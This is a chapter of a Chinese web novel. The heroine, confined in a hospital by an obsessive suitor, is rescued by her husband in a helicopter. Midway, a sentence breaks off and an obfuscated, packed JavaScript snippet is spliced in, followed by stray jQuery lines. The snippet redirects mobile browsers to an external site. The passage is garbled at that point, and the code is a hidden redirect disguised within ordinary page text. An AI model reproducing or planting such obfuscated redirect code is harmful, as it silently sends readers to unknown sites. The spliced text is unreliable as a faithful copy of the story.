再次醒来时,王嫣感觉精神好了不少。沈思行又带了一大堆东西来医院看她,问她接下来的打算。
“实不相瞒,王小姐,我带人赶到时就只看到了你,顾昭昭和杜……都不在,不过我事后打听,二人都已顺利逃出,闻非却全程对这次意外不闻不问……
“王小姐,你丈夫他根本没打算救你,你真心错付,他半点也不值得!”
王嫣静静看着男主在她面前声情并茂做演讲。
医院四周都是男主的人,沈思行带了一堆乱七八糟的衣服、鲜花、吃食、画笔、画纸等等等等,却独独没有手机,她中途旁敲侧击了几次,男主也全都避而不谈。
好家伙,这是摆明了是要断绝她与外界的所有联系啊,偏偏她一个病人势单力孤,暂时想离开也没有办法。
该庆幸吗,男主目前对她还算守礼……
王嫣神色哀婉:
“那……你的意思是?”
沈思行不再说话,只长叹一口气,面露黯然,用一双脉脉含情的桃花眼定定望着她。
王嫣瞬间起了一身的鸡皮疙瘩。
救命,普信男不是都脱粉回踩了吗,为什么还对她贼心不死啊,这不科学!
“沈先生,我非常感谢您救了我,但我在这里叨扰了这么久,必须得回A市看看了,如你所说,这次绑架头目是我的亲戚,事情全因我而起,还无端连累了我的朋友们,我,我……”
王嫣眼见男主表情愈来愈阴,忙呜咽一声垂下头捂脸啜泣,紧急补救:
“不好意思,我脑子里实在太乱了……沈先生,我知你对我情深意重,但我已经不是……我配不上你,你值得更好的……”
完了完了男主怎么有黑化趋势了!
沈思行面色缓和了些许。
他原本也并没想限制王嫣自由,但原定计划出了差错,闻非居然没有死,他没有时间再慢慢等下去了。
“我并不是要……我只是为你惋惜,希望你不要所托非人,王小姐。”
这王嫣还能说什么,她只好顺势就坡下,先稳住男主:
“这次死里逃生从鬼门关走了一遭,我的确想通了很多事情……如果不是闻非他苛待我叔叔,我叔叔又怎么会走上邪路……也许这段婚姻确非良缘……抱歉,我实在是……”
王嫣做出一副难以置信悲痛欲绝,泣不成声的模样。
伤心确实也有,但远没有外在表现得那么夸张。
她只是有些迷茫。
oo说她这次昏迷了足足将近一周,风寒高烧太久引起后续一连串并发症,最凶险的时候她都进了icu,确实差点丧命。
王嫣已经死过一次。
这次,完全失去意识、知觉,沉寂在漫无边际的黑暗中那么久,跟死了也没有区别。
第二次了。
即使她辛辛苦苦囤了那么多生命能量,意外仍然随时可能到来。据系统所说,生命能量并不是万能的,下次如果再有类似的突发状况,一旦她身体受到难以弥补的重创,她仍旧会死。
可以说,这次意外打醒了她。
亲戚她并没那么在乎,她在乎的是,如果从今往后每一天都是生命中的最后一天,她还有什么遗憾吗?
……闻非为什么还不来寻她?
“查到了吗?”
“B市一家私人医院,夫人暂时安然无恙,但病房看守很严密,我们的人没法靠太近。”管家递过来一叠照片。
大概是距离太远,照片里拍到的王嫣面容有些模糊,气色还不错,并没有缠绵病榻,偶尔也会下床走路。沈思行间或出现在照片里,看上去还维持着过往伪善的假面。
还好,还好……阿嫣人健康就好。
闻非眉头舒展开来,一直悬在心口的大石放下大半,接下来,就只剩扳倒沈思行这一件大事。
从前他和沈思行在商场竞争,你来我往行事尚且光明磊落,闻非没料到沈思行消停数月,竟会突然使出如此阴损毒辣的招数。
事到如今,两方已是不死不休,他不会再留手。
车祸虽突然,但闻非提前备有后手,王志锋绑架失败后乘坐飞机逃往国外,落地时险些被枪杀毁尸灭迹,他的人及时赶到将王志锋救了下来,如今只要集齐人证物证……
闻非撂下照片抬头:“肇事司机那边怎么样?”
“司机当场身亡,手段极干净,明面上查不出来太多东西。”管家说,“但好在您救下了王志锋,有他的指认,我们的人正在顺藤摸瓜往下追查。”
“要尽快。”
这一次,他一定要把沈思行送入狱中!
闻非微微眯起双眼,垂首,大拇指指腹从照片上妻子的面容上拂过。
也不知道阿嫣现在怎么样了。只可惜,他如今腿部骨折行动不便,不能亲自去看她。
“这次营救夫人的计划必须确保万无一失。”
另一边。
对外断联彻底,王嫣对着男主互演了好几天,每天听男主各种诋毁闻非外加对她倾倒肉麻情话,王嫣心中厌烦得不行,偏偏面上还要假作害羞附和。
谁懂,她需要同时演出对闻非心灰意冷和对男主好感逐渐递增的两种叠加状态。要给男主希望,但希望又不要太大,这样男主才会一直被她吊着,暂时不至于狗急跳墙。
SOS,她太难了!
影后的演技也不过如此吧,王嫣已经快抑制不住内心暴躁的洪荒之力了!
普信男明显在往变态疯批方向急速下坠,肉眼可见的恐怖,现在还什么都没发生就开始囚禁她了,以后还得了,拜托她后面就算跟闻非离婚也绝不可能跟沈思行在一起的好吗!
还有闻非这个王八蛋到底怎么回事?再不来救她她真的要单方面休夫了!
呜呜呜她好命苦……
系统在脑海里劝她:
“美女宿主,其实您不用太担心的哦,白月光剧本注定走的就是柏拉图式感情线,沈思行不可能对您做什么的,就算真有什么,也是顾昭昭和男主那边哦。”
“可现在剧情都崩十万八千里外去了。”王嫣完全没有被它安慰到,“女主现在断情绝爱一心求学,和男主早八百年没联系了啊。”
王嫣化崩溃、愤怒和憋屈为力量,空闲时间全在病房里抱着画板画画画。
刷刷刷。
刷刷刷。
B市的冬天要暖和许多,鲜少下雪,外面正下了小雨,病房外雨声淅沥,美人斜倚窗前,沈思行过来时看到的就是这样一副场景。
清宁、幽远、皎洁,一切美得似一幅古画,她是画中不染纤尘的仙子。
沈思行又想起了初遇那天,心下一软:“又在画画吗?”
“你身体还未全好,不能太过劳累。”
谢谢,她身体不累心累。王嫣在心底翻了个白眼,放下画笔抬头,杏眸敷衍地弯了下:
“你来了。”
“在画什么?”
“断头的花孔雀。”王嫣乖巧回答。
孔雀开屏,五彩斑斓的孔雀尾染上泼墨色,头断血洒了一地,死在最美的那一刻。
沈思行:“?”
他正欲上前看看,手机铃声忽然响起,“我去接个电话。”
王嫣自然喜闻乐见。
隔着窗户,她眼见病房外走廊沈思行眉头越皱越深,一个电话接完便匆匆向她告别。
“哦哦,你说,是出什么事了?会不会跟闻非有关?”
“oo不知道哦。”
不过王嫣也没想得到什么有用的回答,她只是一个人太闷了,除了医生就是沈思行,她都没有可以说话的人。
再憋下去她就要发疯了。
沈思行总不会想把她关一辈子吧,没开玩笑,说不定还真有可能是一辈子,等她之前囤的生命能量耗尽她就会直接领盒饭了。
所以闻非为、什、么、还、不、来!
王嫣心烦意乱,撂下画笔托着下巴极目远眺,发呆。
其实外面也没有什么好看的。一片模糊的雨幕,周围建筑大都普普通通,没有什么标志性记忆点。
她对B市本来就不太熟,也不知道这里是哪儿。只知道自己现在所在的病房楼层极高,病房外虽然连着一个露天阳台可以透气,但借她一百个胆子她也不敢往下跳。
“啊啊啊啊啊啊——男
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308139|179083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主到底为什么要关我,他不应该关女主才对吗?干嘛老跟我这个炮灰女配、一个弱小无助又可怜的npc过不去呢!”
“……美女宿主,oo觉得,大概是因为剧情发展太快,他和女主之间还没培养出足够深厚的感情吧。”
“离谱,那我跟男主更没有感情可言了,他干嘛死扒着我不放!”
“可白月光本来就不需要感情哦,据oo的数据库记载,大多数时候,白月光本人就是一个符号,身上的象征意义远大于其真实人格和过往经历哦。”
“……”
王嫣愤怒地爬回病床,拿起削笔刀,削铅笔泄愤,一根、一根又一根。
雨不知何时似乎停了。
嗡嗡嗡——
一阵巨大的噪音声突兀钻进她耳膜,王嫣下意识扭头往外面看。
那是……
一架直升机!
从远方飞过来的一架黑色的直升机!距离她愈来愈近,舱门口立着的人是……闻非!
王嫣认出来人,瞳孔骤然放大,杏眸随之亮起。
即使隔着玻璃,她也能隐约辨出男人的口型:
“阿嫣……阿嫣……”
王嫣面色一喜,是闻非来救她了!她万万没想到闻非竟会以这种方式出现。
等等,他怎么好像拄着拐杖?
来不及多想,王嫣当场扔下铅笔从床上飞奔下来赤着脚冲到窗前,刷地拉开,探身出去:
“闻非!”
医院外面的人显然也已听到动静,病房外一阵嘈杂凌乱的脚步声挟着人声:
“发生什么事情了?”
“糟了,王小姐那边!”
“……”
“阿嫣,快到露台来,我接住你——”闻非的声音几乎被直升机巨大的轰鸣声完全淹没。
玻璃窗这边直升机无法靠太近。
王嫣匆忙直起身子,回望病房门口一眼,医院的人已经追来,她顺手抓起刚画的孔雀图狂奔到另一侧,拉开玻璃门直冲向露台。
雨后露台的地格外潮湿,时间紧迫王嫣来不及穿鞋,踩着水迹迎着寒风一路过去。
直升机已悬停在露台上空,闻非正朝她伸手。
“阿嫣!”
长身玉立,眉目疏朗。王嫣从未觉得他如此顺眼过。
王嫣一个起跳飞扑跃入男人怀中:
“你怎么才来……”
压抑多日的委屈感全涌上鼻尖,她开口埋怨时嗓音也不禁带了几分湿意。
闻非被她撞得一个踉跄后仰倒地,闷哼一声,仍将她紧紧拥在怀中,哑声道:“是我不好,是我来晚了……”
王嫣这才记起他好像拄了拐杖:
“你腿怎么了?”
“骨折还没好,不碍事。”
那他还敢伸出手来接她!这也太危险了,万一掉下去……王嫣正欲起身查看他情况,闻非轻咳了声。
王嫣这才意识到旁边还有一个年轻男子,身高马大的。
刚刚这男子好像牵着闻非的另一只手……右手?不过现在松开了。
好家伙,合着方才闻非左手伸出去接她,右手一直被机舱内这人拽着维持身体平衡,可真有他的。
算得还挺好,害她白担心一场。
王嫣瞪闻非一眼,刚松下一口气,忽然感觉到闻非握住她手心,“阿嫣,这是……”
“一幅画。”王嫣冲他挑眉,站起身往下看。
直升机早已拉升,医院一群人眼巴巴围在露台上却无计可施,不可能再追上来。
王嫣弯起杏眼,三下两下把手心的画撕成碎片全扔出舱外,看碎片如雪花一般在空中狂舞。
她终于自由了。
闻非在身后轻拥着她,灼热气息喷在她颈侧,男人带着薄茧的指腹在她右手无名指指根反复摩挲。
王嫣后知后觉:
“……婚戒不见了。”
“人平安就好。”闻非说,“婚戒还可以再买。”
那你摸什么,还不快收手!死装!
王嫣看破不说破,撇撇唇角,转过身来抬头望向男人:“闻非,我有一件事要跟你说。”